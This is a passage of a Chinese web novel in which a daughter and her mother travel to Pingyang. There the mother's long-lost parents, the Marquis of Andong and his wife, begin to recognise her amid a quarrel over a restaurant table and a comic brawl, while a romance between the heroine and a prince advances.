丫鬟们跟在一旁,扶着她们上了华丽的马车,身后护卫护驾,车马也跟着缓缓朝着城内走去 第108章 是她的阿玲吗 坪阳府水利便利,但是比起广宁府的漕运盛行,这边更多的还是靠着渔业和布纺 这边有着郡内最大的蚕桑作业,纺织刺绣盛行,随便走入一条街,都能看到开着的衣料店,大小的绣纺不断,好些几岁的小姑娘坐在小板凳上,耐心地绣着刺绣,时不时招揽一下往来的商户 宋锦看得惊奇 她们镇上的小姑娘虽然也会学些针线活,但也就是简单的缝缝补补,这种绣花鸟的真不多,少有刺绣手艺的,绣法也不一样 而这边,遍地五六岁的小姑娘都绣得有模有样 牛铁兰看着她都快要探出去的脑袋,凉凉:“别看了,你这辈子都没有当绣娘的希望了,叶子都绣不好的人” 宋锦收回脑袋,仰着脑袋,骄傲道:“我又不靠这个吃饭,娘,你等我一会儿就去给你打只野猪回来,比刺绣赚钱多了” 牛铁兰糟心:“一边去,别让我抽你” 宋锦吐了吐舌头,过去坐在她旁边,靠着她的肩膀,轻声:“来之前不是都想到了吗?如果真的是阿爷的话,也五十多了,这么多年一个人才奇怪吧?” 牛铁兰心情确实不是很好,虽然也知道她阿娘失踪多年,阿爹另娶妻生子很正常,但是这般,也明晃晃地告诉她 物是人非,便是她阿爹确实还在,也不只是她的阿爹,那个家也不是她的 牛铁兰摸着宋锦的脑袋,怅然:“不过这样也挺好的,他若真是一个人,我心里还不好受” 宋锦抬起脑袋,冷哼道:“怎么可能,阿娘你还不了解男人吗?听说过守寡一辈子的寡妇,见过守一辈子的鳏夫吗?那种穷得去不上媳妇的不算” 这个扫射就有些大了 “见过” “见,过” 马车内两个男人一前一后开口 曲茂泽瞥了一眼齐铮,人果断闭上嘴,他满意地点了点头,再看向自家夫人孩子,笑着说道:“金金此言差矣,虽然男人负心汉不少,但是痴心之人也不少。我曾见过为爱殉情的” 宋锦接话:“煞笔” 曲茂泽笑容一僵,转瞬继续:“像是爱妻离世,守着孩子过的男人,也不少” 宋锦瞥她:“要是没孩子呢?” 曲茂泽说不出来,他身边多是些高官侯爵,这般的男人,在有妻有子的时候都一堆人想往他后院塞人,更别说妻子不在,无儿无女 整个大衍朝政也就这么一个 但是,他就纯属奇葩,什么爱不爱深情不深情的,曲茂泽自己都说不出这种话 这个命题,他完 败 齐铮见他反驳不了,整理了下话语,说道:“我见过” 商人重利,政人重权,江湖人重义 失去爱妻爱子之后,自己独身一人度过余生的人,他见过不少,其中最典型的 “我师傅就是”齐铮漆黑的眸子看向面带不屑的宋锦,里面写满了认真,“他早年有一爱妻,两个孩子,后面却因江湖事不幸丧命,在之后,他不曾再再此事上上心,一个人走南闯北,行侠仗义,这样的人,我曾遇到过十数人” 这些人里,或许有些十恶不赦,心怀诡异,但是他们在婚姻爱意一上,格外纯粹 齐铮露出难得地笑容,非常确定道:“我也一样” 若得一心人,其余皆如木 宋锦脸上嗤意消散大半,微微鼓嘴,压住想要上扬的嘴角,眼眸灿如晶石 曲茂泽怎么看怎么不顺眼,恶劣地打碎两人中间奇怪的氛围,道:“你说你是就是了?你爹当年为了你娘要死要活,还不是没过两年就有了新人” 齐晔后院的人只是不多,但可不是没有,一个个花容月貌,好在位份不高,也没有孩子,才对齐铮没什么影响。若齐晔当年未中蛊,这些年后院也有人诞下儿女,齐铮回来之后,还真说不好他偏向谁 齐铮神情一收,情绪明显低落下来 宋锦的好心情一顿,恼:“怎么的,你不找是因为你不想找,还是因为你怕死怕被设计不敢找?” 牛铁兰也看不过去,冷笑一声:“所以呢?他爹是负心汉,和他这个从小在外面长大的人有什么关系?倒是你这个成天和他混在一起,穿一条裤子的人,和他才是一个模子印出来的” 曲茂泽哑然:“……到底谁和你们才是一家人啊” 母女俩:“反正不是你” 渣男 曲茂泽心里憋屈,再看齐铮就更不顺眼了,年纪轻轻的,竟会使些小动作,那么大一人,装弱可真好意思 心机深重 不是良配 感受着他的不悦,齐铮默不作声 反正,他做好做坏,这人都不会给他好脸色的,他还是讨好该讨好的人吧 …… 马车停在坪阳府最出名的酒楼外 南心楼 酒楼大气庄重,和玲珑阁那种精巧华贵的又完全是两个风格,来往的人衣着华贵富丽,各有排场。像这种城内的酒楼,主要还是以吃为主,住宿的房间一般不会不很多 外来的商户少有住这么贵的,城内的富贵人家有自己的家,在外也多是请客待客 现在中午时候,也正是忙碌的时候 酒楼里面人满为患,但是人手充足,他们一进来就有店小二迎了进来 “客官,吃饭还是住宿?” 宋锦看了看周围环境,觉得确实还算不错,道:“住宿,三间上房,再来一桌子好菜” 说着,她随手掏出几个铜币过去作为打赏 店小二乐呵接过,热情:“客官跟我来,店里刚巧就剩下三个上房了,您们是打算先住一晚,还是连着多定两晚?这年底了,来往的商户多得很,明个不一定有房间” 宋锦看向自家阿娘 她们这次过来就是为了她娘认亲,至于怎么个认,就看她娘了 牛铁兰思索片刻:“先定三个晚上吧” 虽说是认亲,但是直接找上门,也不合适,她还是先看看再说 店小二:“好嘞,吃饭的话,是现在吃还是等一会儿?现在的话只能在一楼,二楼还得等上两刻钟” 一楼的环境比起二楼要嘈杂一些,二楼挨着街,能看到外面的风景 牛铁兰:“二楼吧,我们先收拾东西” 店小二应声,账房先生在一旁拿着他们的路引登记 都城来的,目的的安东郡 宋锦,牛铁兰,曲茂泽,严铮 看起来平平无奇,但是配上几人出众的容貌,账房先生面上一句话不说,内里留了个心眼 “这是各位的门锁,这几人城里外来人多,各位白日出门记得锁好门” 紧接着店小二就带他们去住宿的地方 住宿在三楼,每个上房都是二十来平,很是宽敞,还有单独的小浴房,需要洗漱可以让他们送浴桶过来,里面收拾得干干净净,住着还是很舒服的 宋锦一下子躺在床上,绵软干净的床被带着太阳晒过的味道,很是舒服 她们这两日在船上度过,虽然也有小床,但是普普通通,就是一张硬板船。虽然她以前更糟糕的环境也经常住,但是自从去了都城,由奢入俭难啊 她以前觉得衣服几百文能穿就行,现在嘛,几十两点的确实有些咯脖子 宋锦轻嚎:“完了,我被金钱腐蚀了” 牛铁兰没好气:“快起来,衣服都没换躺床上,脏不脏?” 宋锦翻了个身,砰一声直接滚到地上,她也毫不在意,就这么从床上滚到牛铁兰这边,双手放在脑袋后面,翘着二郎腿,直接躺在上面:“这才叫脏呢” 牛铁兰眉头跳动,一脚踹她小腿上,瞪人:“宋锦” 宋锦嘻嘻哈哈爬起来,拍拍屁股:“这地一看就是擦过的,很干净呢” 牛铁兰冷笑:“我嫌你把地滚脏” 宋锦:“……是亲娘咧,那我换个衣服?” 牛铁兰:“脸擦一下,头发也给我重新梳” 小浴室里有刚才备好的炉子和温水,可以简单洗漱 虽然宋锦觉得自己很干净完全不需要重新梳理,但是在牛铁兰的怒瞪下,还是老老实实去洗漱了 一番折腾下来,两刻钟功夫一会儿就过去了,门口传来的敲门声 曲茂泽的声音传来:“收拾好了吗?” 牛铁兰:“开门进就是” 曲茂泽轻轻推门,宋锦被牛铁兰按在那儿梳理头发,疼得呲牙咧嘴 牛铁兰一点儿也不心疼,拿着木梳子给她仔细梳理其中的结,瞥道:“活该,让你之前偷懒不好好梳头发” 宋锦嚎叫:“头发太长了,我真的不能剪一截?到肩膀多好啊” 牛铁兰冷笑:“身体发肤受之父母,想我早点走就多剪一点” 宋锦郁闷:“封建迷信,哎,但是没办法,你女儿孝顺,就留着吧” 牛铁兰手上一个用力,紧紧簪住头发,给她把头发收拾好了,再插上两个简单的金钗,看上去也有模有样了 她满意两分:“出去吃饭吧” 宋锦起身,衣服是厚实的靛青色的荷叶款,领间带着绒毛,袖子宽大,以绿色为主色,中间带着粉意,贵气中又带着少女气,穿在她身上恰恰合适 她打了个哈欠,捂着咕噜叫的肚子:“快饿死了,他们上菜了没?” 门外,齐铮也简单收拾了一下,换去了之前的粗布灰衣,转而换了纯黑锦缎衣袍,上面用银线绣着云纹,和他头上的银冠适配,至于发型 全靠脸撑 他老老实实看着外面,一个眼神都不往屋里瞄,回道:“应该好了,我刚才看窗边的人吃好了” 宋锦走了出来:“我们先去点菜” 她娘刚才就忙着给她梳头发,自己还没打理咧 齐铮看着她头上珠钗轻晃,她依旧未施粉黛,但是好生打扮之后,她身上的桀骜野气消失大半,取而代之的是少女的明艳张扬 宋锦看过来,眨眼:“看什么?” 齐铮伸手指了指自己耳侧位置 宋锦了然,摸摸自己左耳下侧位置,撇着嘴:“好像是十岁那年吧,打架大意了伤到的,也不严重,我娘揪着我吃了半个月清水菜,又是抹药又是擦粉,可麻烦了” 她其实是不留疤的体质,这般注意都还有不小的痕迹,可想当初应该伤得不轻 齐铮低声:“等回去,继续练剑吧” 就她那破烂剑法还有莽撞性子,受伤一点儿不意外 宋锦抱着手,睨着他:“我以为会说什么护着的话” 齐铮:“怪我本事不足” 宋锦弯着唇:“没事,本事不够,背景补,这方面看,少有人能和岐王殿下比” 齐铮失笑:“客气了,郡主大人也不遑多让” 两个人就这么并肩走着,朝着楼下走去 南心楼很大,二楼宽敞,里边是包厢区域,中间也用屏风隔开,就是这般,也摆了二十来桌 靠近窗子的有六桌,他们上来之前已经定好了桌子,就在那边正街的位置。按理来说,现在上一批人走了,应该空出来了才对 但是他们下来,收拾好的桌子上又有人坐着了 宋锦挑起了眉头:“哟,这是被插队了?” 齐铮皱眉:“我去问一下小二” 宋锦拉住他,振振有词:“有什么好问的?反正我不让,多没面子啊,哪有让殿下让位的道理” 齐铮:“……也无所谓” 宋锦轻哼:“我有所谓” 说着,她就拉着齐铮走了过去,然后径直坐下,腿一翘:“这是我们定的桌子” 桌上,正看着窗外的邰清心一愣 旁边的岚烟皱起眉头,见宋锦这副模样有些不悦,还是耐着性子道:“这位姑娘,这 位置我们夫人已经坐了,劳你重新选一个吧” 宋锦晃着腿:“不行,我们先选好的,先来后到,懂吗?” 岚烟许多年没见这么不识趣的人了,道:“姑娘是外地来的吧?” 宋锦:“怎么外地的就得让座了?” 岚烟无语,就宋锦这一身衣服也不便宜,家庭定然不错,再有这幅容颜,若是本地的她定然认识,再说了,若她真是本地 她道:“若姑娘是本地的,就该知这酒楼是我们侯夫人的” 那就更应该识趣地让开了 周围其他的食客也差不多了,她们也等不了多少 宋锦还这没想到这个,听到侯夫人,她挑起了眉头,上下打量对面的邰清心 她皮肤白皙,五官秀丽,但是上面遮不住的细纹,看得出上了年纪,应该是四十来岁,穿着黛青色衣服,木簪檀珠,端庄大气,杏眸略微有些眼熟 但是 宋锦有些意外:“安东侯的夫人?” 比她想象的老一点 曲茂泽说的,这人是十五年前成的亲,她还以为安东候那种老头,咳,就是后面娶妻的话,也会年纪小一点,侯夫人应该和她娘差不多大才是 邰清心看着这个明艳张扬的小姑娘,笑了笑:“对,小姑娘是哪家的?” 既然她能这么淡定,应该也不是什么普通小家族的 宋锦耸肩:“不告诉你” 邰清心:…… 行吧,应该比她想的有地位一些 邰清心很多年没遇到这么不给面的人了,倒是没有生气,只是觉得有些好笑,她脾气是好,但是这种时候,主动让座,可不是什么有面子的事 她笑了笑:“这桌子很大,那就一起坐吧,不然,你们换一桌,近日的餐食都免了” 宋锦撇了撇嘴,抬手拿起一边的茶壶给自己倒了杯茶,又递给旁边的齐铮,自然得好像是自己点的一般,说道:“不缺钱,就坐这里吧。你们刚才不是在外面散粮食吗?” 邰清心看着她张扬的模样,眼中带着感慨,声音温和:“散完了,小姑娘叫什么?” 宋锦勾唇:“我姓宋” 邰清心愣了一下,迟疑:“宋,小姑娘是都城来的” 宋锦点头 邰清心有些意外,但是再想想就很正常了 大衍建国后唯有前朝的英国公和仁国公两家,其余的皆是侯爵,若是普通侯爵家小辈,知道她是侯夫人,怎么也要慎重几分 如果是宋府的小郡主的话,那确实不一样 邰清心虽然久未出门,也没少听到她的‘丰功伟绩’,对比英国公府,她现在的态度已经很友好了 “早就听闻郡主名号,今日一见,名副其实”邰清心感叹完,喝了口茶,再看向一旁的齐铮,“这位是,宋家的二公子?听外面,公子前两日到了昌渡府接人,这么快就接到了?” 宋顺之一行人走的官道,中途又没有耽搁,这个时间也该到了 那些人没有见过齐铮本人,李青山能糊弄不少时间,但齐铮想糊弄,就绝无可能 安东候见过齐晔,一眼就能认出他 齐铮没多做犹豫,轻声:“候夫人误会了,晚辈齐铮” 邰清心喝着茶水的手一抖,用手绢轻轻擦过,就要起身 齐铮:“侯夫人请勿多礼,我私下过来,一切低调行事” 邰清心这才停下,坐会位置上,比起刚才多了些慎重:“臣妇失礼了,请殿下莫怪,我这就离开,莫绕了殿下雅兴” 一个郡主,她自然不惧,也无需谦让什么,但是王爷,还是陛下板上钉钉的下届太子,她不得不慎重,退让,也不失面子 宋锦看着她前后变脸,撇了撇嘴,不等齐铮开口,拍了拍桌子:“得了,快坐好,说得好像我们赶人一样,又不是坐不下” 邰清心诧异地看向她,再看向她旁边的齐铮,也才注意到,两个人坐得,确实有些近了。 宋锦这么随意插口,他也没有半分愠色,淡然接道:“郡主说得是,桌椅足够,候夫人坐下吧” 邰清心当侯夫人多年,也见过各种世面,想了想也没有拒绝,大方坐下,笑道:“那我就恭敬不如从命了,殿下和郡主第一次过来,这顿饭怎么也得我请,二位可千万别和我客气。岚烟,去下面喊人点餐” 说着,她给了岚烟一个眼神 先把消息递回家 这一个王爷一个郡主,真要是在他们这出了点事,他们克担待不起 岚烟照顾她几十年了,当即点了点头,行了个礼退下 宋锦看着她们眉来眼去没说话,扭了扭脖子,看向往三楼的楼梯口处,她娘他们还没下来 邰清心看她这样,询问:“郡主还在等人?” 宋锦瞅了瞅她,点头:“恩,我娘还在后面” 邰清心:“首辅夫人竟然也来了?我听说她身体不好,一路颠簸,这客栈到底寻常,各位不如去侯府小住几日?” 宋锦没接这话,只是意味深长:“你们消息倒是准” 这侯夫人也有些东西,不光凭名字就认出他们,还知道牛铁兰的情况,在家中时候,安东候定然没少和她说这些,夫妻俩关系定然很好 邰清心轻笑:“郡主名气太大了,想不知道都难” 早几月宋商失踪,她家侯爷就一直关注着那边的情况,自然知道得很清楚 宋锦轻嗤一声,没再说话,静静地喝着茶水 大约半刻钟,牛铁兰的人影总算是出现在楼梯口处 她换了一身翠色山茶花纹的衣裙,因为怕冷,披着一件兔绒披风,头发玉簪轻挽,远远看着,就像二十出头的小姑娘,秀丽恬雅 她左右看了看,眉头轻轻蹙起,朝着这边走了过来,站在桌边,看向独自坐在对面的邰清心,声音轻缓:“小女顽劣,让夫人见笑了,起来,换一桌” 就自家闺女的性子,她不用问都知道怎么回事 宋锦不服:“我们先说好的,娘” 牛铁兰瞥着她,声音不轻不重:“我说,换一桌” 宋锦老实了,嘟囔:“换就换嘛,凶什么凶” 牛铁兰:…… 她哪里凶了?恶人先告状,就属这破闺女玩得最顺 母女俩闹脾气之余 邰清心坐在位置上,目光落在牛铁兰的脸上,有些挪不开眼,她怔愣好一会儿,赶紧道:“桌子大,坐着一起吃吧,这位宋,宋夫人?” 牛铁兰蹙着眉,看向宋锦 宋锦眼神飘忽,捏着手指:“啊,娘,给你介绍一下,这是安东候夫人,碰巧就遇上了” 牛铁兰一怔,一恼,不着痕迹地瞪了瞪宋锦,一点点收拾好心情,这才装作无事地转身看向邰清心:“那便叨扰侯夫人了” 说着,牛铁兰坐下身,小心地打量着对面的邰清心这 个‘继母’ 长相秀雅,气质温婉,一看就是大家闺秀,很有当家主母的气派 来之前,她拒绝了曲茂泽的情报,一直到刚才,才做好心理准备听他细说。据他说,邰清心和阮东林十六年前在北边相识,然后成亲,这些年两人膝下有一对双胞胎儿子,今年十二,倒无多余妾室 夫妻感情深厚,一心一意过日子,家庭和谐 想到这,牛铁兰心里有些酸涩,也有些庆幸 这样也挺好的 邰清心也在打量着她 比起宋锦那种有攻击性的明艳大气长相,牛铁兰是所有人都能欣赏的江南美人,五官标致,身段窈窕,气质温雅,一颦一笑都十分夺目,她坐在那儿,哪儿就是一副画卷 而现在的她孩子都这么大,再如何也该三十出头,都还是这般貌美,年轻时候定然更灵动如水,让人念念不忘 邰清心有些感叹,不怪乎能惹得权倾朝野却心如铁石的宋商动心 只可惜,缘浅情薄 她看了眼一旁的温润如玉、光风霁月的曲茂泽,收回目光,笑着问道:“不知夫人名讳,也好称呼” 牛铁兰下意识:“牛” “阮金铃” 曲茂泽打断了她的话,倒着茶水放到她手心,嘴角噙着笑,悠悠地给宋锦也添了添茶,看向桌对面 邰清心手中茶水散在袖上,她也毫无知觉,只是有些呆怔地问:“你说叫什么?” 曲茂泽捏着牛铁兰的手没有问答 牛铁兰瞪了瞪他,抿着嘴,有些不太自在道:“阮金铃,圆耳朵阮,金色铃铛的金铃” 邰清心嗓子仿若被糍糕堵住一般,说不出话来,死死地看着牛铁兰 是她的阿玲吗? 第109章 你个狗崽子 “夫人呢?” 夜幕降临,马蹄声哒哒作响,安东侯府正门敞开,迎着车马进屋 阮东林从马车上大步下来,他身形健硕,穿着黑色绣金长袍,踩着鹿皮靴子,背后金黄的虎皮披风在灯光下杀气凛凛,他看着周围围着的人,有些疑惑 往常他每次回来,夫人都会在这里迎他,虽然现在天寒,他也不希望她冒着寒气等待,但是这次他离开三日,一回来没看到人还有些不适应了 他看着在一边蹲着的兄弟俩:“你们干什么?课业做完了?” 阮金和、阮金乐今年十二,正是长身体的时候,一两个月时间窜高了一大截,看着跟瘦猴子似的,好在五官端正大气,看起来还有模有样 但是阮东林很嫌弃 两个大腿还没有他胳膊肘粗的毛孩,就这幅模样以后如何保家卫国? 因为当年家中出事,他捡回一条命之后就苦练武艺,从一个白面书生转成魁梧武将,这些年一直坚持练武,后面有了两个儿子,也是想把他们朝着这个方向发展 可惜,一个白瘦,一个干瘦 身子虚弱,才染了风寒的白瘦阮金和刚要张口,一阵风吹来,他跟着一阵咳嗽,要说什么也说不下去 跟个黑猴子似的阮金乐坐在地上,皮实道:“老爹,娘好像不舒服,今个晚饭都没吃” 阮东林变了脸,皱眉问:“知道怎么回事吗?” 阮金和总算咳完了,白脸多了红意,道:“娘今天又去施粮了,回来就这样了,是不是被人欺负了?” 虽然他们娘是侯夫人,但是她脾气好,又心善,可真的说不准 阮东林恼怒地看着他们:“阿心去施粮,你们不跟着去?两个废物玩意儿,白养了” 说着,他大步流星地朝着后院走去 留下兄弟俩蔫着脑袋 他们也倒是想去,但是他们得上课啊 阮东林不关注两个小兔崽子,没一会儿大步走到后院,府里的小丫鬟们在门口守着,岚烟站在院子门口,看到他回来了,松了口气 “侯爷,您可算回来了” 阮东林:“夫人怎么了?谁这么不长眼睛惹她了” 岚烟忧虑:“奴婢也不确定,但是奴猜想,和宋郡主定然脱不了关系” 说着,她就把今天宋锦嚣张‘抢座’的事说了一遍,不过后面又道:“这时候夫人还好,等后面我上去了她就有些心不在焉,回来就吃不下饭,把自己关在房间里” 阮东林眉头紧扣:“岐王和明光郡主?他们过来干什么?这边的是岐王,那昌渡府的那个是谁?宋商那鬼东西不在了,宋慎之几个小东西还敢这般搞事情?” 反正两边绝对有一个是假的,相比昌渡府有宋氏三兄弟在,他更倾向于这边几个是骗子 若不是骗子,也不能一来就害他夫人如此 阮东林眼中闪过狠辣 不管这些人是谁,也不管他们是何目的,敢打他夫人的主意,他都要他们死无全尸 他也没冲着岚烟发火,这人陪着他夫人度过最艰难的年岁,他对人很是和气,只道:“夫人日后出门多带些人手,寸步不离” 岚烟有些愧疚:“奴婢知错” 阮东林没说什么,朝着房间走去,轻轻敲门:“阿心,我回来了” 屋内没有声音,他又敲了几下,屋里才渐渐有了声音,吱呀一声,邰清心打开了门,点着煤油灯走了出来,微弱的灯光下她眼睛通红,带着抹不去的湿意 阮东林拉着她进屋,抚去她眼角的泪意,带着藏不住的心疼:“怎么了,好端端的怎么哭了?宋商那狗崽子死了也不安生,留下小狗崽子到处发疯,等明日为夫替你报仇你” 邰清心忍不住一拳砸在他肩膀上,带着哭声:“不许这么说她” 阮东林有些摸不着头脑,但这会儿也只顾着心疼,给她擦着眼泪:“好了我不说,你可别哭了,你眼睛不好,留不得泪,晚饭也没吃,身子骨还要不要了?先吃点饭,吃了再和我好好说” 邰清心看着他心疼的模样,脸上泪水更是压抑不住,如泉水般涌了出来,抱着他的胳膊,埋进他的胸膛里 他的身形壮硕,就是隔着一层厚实的衣服依旧能感受到里面结实的胸骨,是个十分有男子气概的大男人,但在最开始,他也只是个瘦削的白面书生罢了 邰清心心里苦涩,想到那些痛苦的往事,心口紧缩,更是抑制不住泪意,蜷在他怀中哭泣,抽抽噎噎,听得阮东林心疼极了 好一会儿她才止住哭意,泪水已经把身前的衣料全部打湿 她声音低低:“我好像找到我们的玲玲了” …… 第二日 坪阳府的天黑得比都城早些,天亮也晚些 天光微微照亮,外面就纷纷扰扰,各种叫卖的声音不断 现在十月份了,天色寒凉,再过两月就是新春,家家户户也都要开始准备新年的物资,新衣新鞋,再差也得备上几个糖果 正是赚钱的关键时候 宋锦打开窗,凛冽的寒风吹着白雾打在脸上,冰凉又清新,她就穿着一件白色里衣,半个身子都探了出去,一眼就看到了隔壁的门窗也开着 “早啊” 她扔了个花生砸过去,看着探出头的齐铮,哈着声音,挥着手,在浓雾中笑颜如花,明艳灿烂,充满着生气 齐铮沉肃的面容也不由松散两分,轻声回:“早” 宋锦咧着嘴没有多说什么,牛铁兰还在睡觉,她伸手指了指楼下位置,示意去下面玩 齐铮点了点头 她轻轻关上窗子,小心翼翼地看了看床上还在睡觉的牛铁兰,轻手轻脚地穿上外衣,朝着外面走去 天色还早,屋外没什么人,左右格外的安静 齐铮起得早,早就收拾好了,他身形高大,黑衣华服,从头到脚一丝不苟,站在那儿就跟台柱子似的,庄重沉稳,很有气势 宋锦头发没梳,衣服松松垮垮,随意得很。她嘴上咬着梳子,就这么一边扣着扣着一边走着 齐铮无声叹息,小步上前,从她嘴边抽过梳子,动作轻柔地给她梳理头发 宋锦挤眉弄眼:“你看 着梆硬,可比我娘温柔多了” 她娘昨天就差把她头皮给扯掉了 齐铮大部分时候都是沉默的,没有回话,就这么给她梳理长发,等到长发顺滑披散开来,就着她卡在领间的玉簪子给她钗好 她整张脸露在外面,没有刘海碎发修饰,额头饱满,五官明艳富有攻击性,其实更适合金玉珠宝一类,玉簪子让她看起来多了两份钝感 齐铮沉默下,又把头发拆了,略显笨拙地分了前面的发缝,在后面挽发的时候留下些发尾,这样看起来活泼一些 他松了口气,低声:“好了” 宋锦睁着大眼睛看着他动作,露出洁白牙齿,指了指领子:“有没有歪?” 齐铮看了看,一眼就是她修长白皙的脖颈,左右的毛绒领子确实有些歪,一边紧贴着脖子,他有些迟疑,但是对着她明亮的眼,还是轻轻地抬手给她理了理,指节不小心擦到细腻的肌肤,他微微一顿,透过领口,能上面系着的红绳 宋锦看着他迟疑的模样,眉眼弯弯,伸手扯了扯就将其扯了出来 红绳金结之下,是黑玉金虎,在寒冷的冬日,依旧宛如竹炭一般,散着暖意 是齐铮之前送的玉石 冬暖夏凉,确实很舒服 齐铮怔了怔,心像是被什么按住,动不了,又一点点涨住,他伸手摸了摸黑玉上金老虎长着的嘴,随即俯身过去,单薄的唇轻轻映在上面粉白的指尖上 都是温热的 宋锦站在原地,看着映在面前人,温热的呼吸就打在他的额头上,而他的呼吸散在指尖上,她眼皮微颤,脸颊一点点染上红晕 良久 齐铮抬起头,漆黑的眼眸专注,里面全是她的影子,他轻声:“等回去,我让父皇赐婚,如何?” 宋锦咬着唇,凤眸明亮璀璨,嘀咕:“跟我说干什么?又不是我下旨” 齐铮眼中染上笑意:“那我就当你同意了” 宋锦嘴硬:“我可什么都没说” 齐铮伸手又摸了摸金色小老虎,然后捏住,替她放了回去,轻轻理了理领子,带着藏不住的春风之意,含笑:“我们先下去用食吧,就在店里还是去外面住转一转?” 宋锦鼓着嘴,咕囔:“去外面看看吧” 这个时间点,外面一般都有很多小吃,味道不一定比酒楼好,但是好玩一些 齐铮跟着她一起朝着楼下走去 这年头人起得都挺早的,按理来说,酒楼现在应该有些声响才对,但却格外安静,一个忙活的小二都没有,静得有些不像样 宋锦和齐铮对视一眼,下楼的速度缓了缓 噔噔噔噔 走出楼梯,二楼空无一人,也不对,就在她们昨日吃饭的窗边,一人背着窗,逆着光看着他们这边,明明灭灭看不清人影。 那人身形魁梧,虎皮披身,眼锐如虎,一看就来者不善 他看着下楼的两人,缓缓开口:“小狗崽子,和你爹一样讨人嫌” 宋锦下意识拍拍旁边的人:“他骂你呢” 齐铮无言,他觉得,这个可能性为零 阮东林看着她张扬不训的模样,冷笑一声,站起了身 来之前他坚信两人是骗子,但是现在看到了人,就一眼,他就确定不是了。 像,太像了 宋商那狗东西的小崽子,竟然是真的,他之前一直以为是假的呢 至于齐晔,阮东林不知道他是何意,但是不重要,不知者无罪,他又没见过人,哪里分得清人是是假? 阮东林缓步走上前来:“昨日就是你欺负我夫人?” 宋锦现在确定这人是谁了,指着自己:“我?欺负?讲点道理吧老头,我先占的位置” 阮东林:“伶牙俐齿,听说你武艺高强” 宋锦双手抱胸,一只脚斜着搭着,看着面前这跟熊一样的老头,挑着眉头:“哟,看你这架势,是要替你家那老太婆出气?怎么,她回去跟你告状了?她就没说点什么其他的?” 阮东林沉沉地看着她:“别和我来这一套,你们过来干什么,直说吧,别拿其他事情做挡。不管你们查到什么,想做什么,要伤害我夫人,就从我尸体上踏过去” 宋锦听他张口闭口就是老婆的,也有些恼:“有毛病吧,谁在意你家那老女人了,张口夫人破口夫人,装得是挺好,怎么,老婆孩子就是一个比一个好,以前的死了就死了是吧?” 阮东林心口一窒:“小狗崽子,别逼老子揍你,若不是看在你爹的份上” 宋锦想也不想,上去就是一脚,没用什么力气,但力道也说不上小 阮东林稳稳接住,后退一步,再看向她的目光多了些郑重 宋锦冷笑两声:“老东西,你最好也少说两句,别惹得姑奶奶我真动手了,把你揍成狗还得挨雷劈” 阮东林称侯多年,还真没几个人敢这么和他说话 面前的小狗崽子是一个,小狗崽子家的老狗又是一个 他目光阴沉:“我倒是看看你个狗崽子有什么本事” 说着,他就冲了过来,一拳砸下 “不许掺合” 宋锦说了一声,压住齐铮的行动就直接冲了过去,直接硬碰硬,用拳头砸了回去,砸出砰砰的硬骨声,她就着扭住他的手臂就是一抻,但是没拧动,转而拳风袭来,她直接后退,避开他的拳 比她/他想的能打一些 都没用上全力的两人看着对方慎重了两分,也就两分,更多的还是不屑 两人互相看着,转瞬又扭到到一起,拳拳到肉,中间砸到桌椅,直接将其杂碎,也不影响两人继续 也是他们都有内力,但凡换个普通点的,碎骨断手都是小事 齐铮站在一边,看着两个人拳拳相撞,听着桌椅杂碎的声音,无声叹了叹气 不出意外,没一会儿,身后就传来了脚步声 “怎么回事?” 曲茂泽小心扶着人下来,绕过齐铮看去,就见一个凳子飞来,他轻轻避开,再看去那边扭打的两人,嘴角深扬 不愧是他闺女啊,打死那老不死的,他支持 牛铁兰死死皱眉,两个人站得远,动作也快,她看不清人,只是看着齐铮不慌不忙的,料想也不是刺客,虽然有些忧虑,还是按捺着性子,问 “殿下,这是怎么了?” 齐铮毫不迟疑:“安东候一早等候,为昨日之事骂郡主,又率先动手” 牛铁兰脸色冷了下来,紧紧抿着唇,看向那边的阮东林 和她残留记忆中的那人没有一点相似的 她记忆中的父亲,温和清俊,身形瘦削,是个标准的白面书生,面前的人,健硕威武,皮肤黝黑,威风凛凛,为了别的人对她闺□□脚相交 牛铁兰心口沉闷,眼睛有些酸涩 虽然没什么印象了,但是一路过来,曲茂泽的态度已经表明了,这人基本就是她爹没错了 他确实没死,在当时捡了一条命,死里逃生,还凭本事建功封侯,就看着那魁梧的身形,还有下拳的狠劲,他身体健康,再活个三五十年问题不大 牛铁兰压下心中酸涩,开口:“够了,金金” 她的声音不轻不重,宋锦听了十来年了,瞬间就听到了,她眼眸一转,收了些力,硬生生挨了一拳,踉跄后退两步 宋锦呲了呲牙,嘶了两声,撩开袖子,白皙的手臂上红肿一片,没一会儿功夫就朝着紫意转去 阮东林有瞬间错愕,后退两步,狐疑地看着自己的拳 怎么的,最后这一拳是突破了? 不待他想清楚,牛铁兰见宋锦手上,已经匆匆忙忙地跑了过来,一把抓住她的手,看着上面明显的红肿,瞬间红了眼,护犊子地把人往后一拉,愤怒地看向阮东林 “你干什么,欺负小孩子有意思吗?堂堂安东候就这么小肚鸡肠,还要不要脸了” 宋锦附和,上眼药:“就是就是,一来就骂我没爹,我没爹招你惹你了啊,我有娘教,要你管那么多” 这话听着就不对,阮东林惊愕,走上前指着人:“我没这么说,你个小狗崽子” “你够了”牛铁兰重重地一把推开人,愤怒,“她是小狗你是什么?老狗东西吗还是疯狗?阮东林你指谁呢指?你有本事打她你有本事打我,来,打死我得了,我这个当娘的不会教孩子,来来来……” 牛铁兰杏眼柳眉,肤白细腻,高挑纤瘦,弱不禁风,一看就是个温婉恬静的美女子,便是平日收拾宋锦,也是娇俏生动,哪儿像此刻 她捏着拳,眉眼横飞,怒目而视,看起来还真有几分凶意 面对宋锦这种凶恶的狼崽子,阮东林毫不客气地捏人后颈,狠狠收拾人,但应对牛铁兰这般娇娘子,他连连后退两步,一副手足无措的模样 “哎,哎,你别撒泼,讲点理” 牛铁兰红着眼,忍着泪意,咆道:“我不讲理,我是泼妇,我没教养,来,你也打,也打” 宋锦在一旁小心扶着她,心疼的同时不忘拱火:“要打我娘,先从我的尸体上跨过” 牛铁兰压不住 泪意,抹着眼角,转身朝着楼上跑去 宋锦抬手冲着阮东林比了比手脖子,呲着牙:“死老头你给我等着” 说完她追着牛铁兰跑开,在旁边小心地扶着人 阮东林有些懵 不对啊,他是过来干什么的来着? 明明是她们欺负她夫人啊 也不对,阮东林脑子总算转过来了 他最开始是怀疑这些人是骗子,试图过来蒙骗他夫人,跑过来算账的。但是一见到人,他就知道他想错了,他们身份应该没什么问题,但是定然也不怀好意 宋家的人,他向来不惮以最大的恶意 阮东林怀疑他们是察到了什么东西,跑过来威胁他,这让他很生气 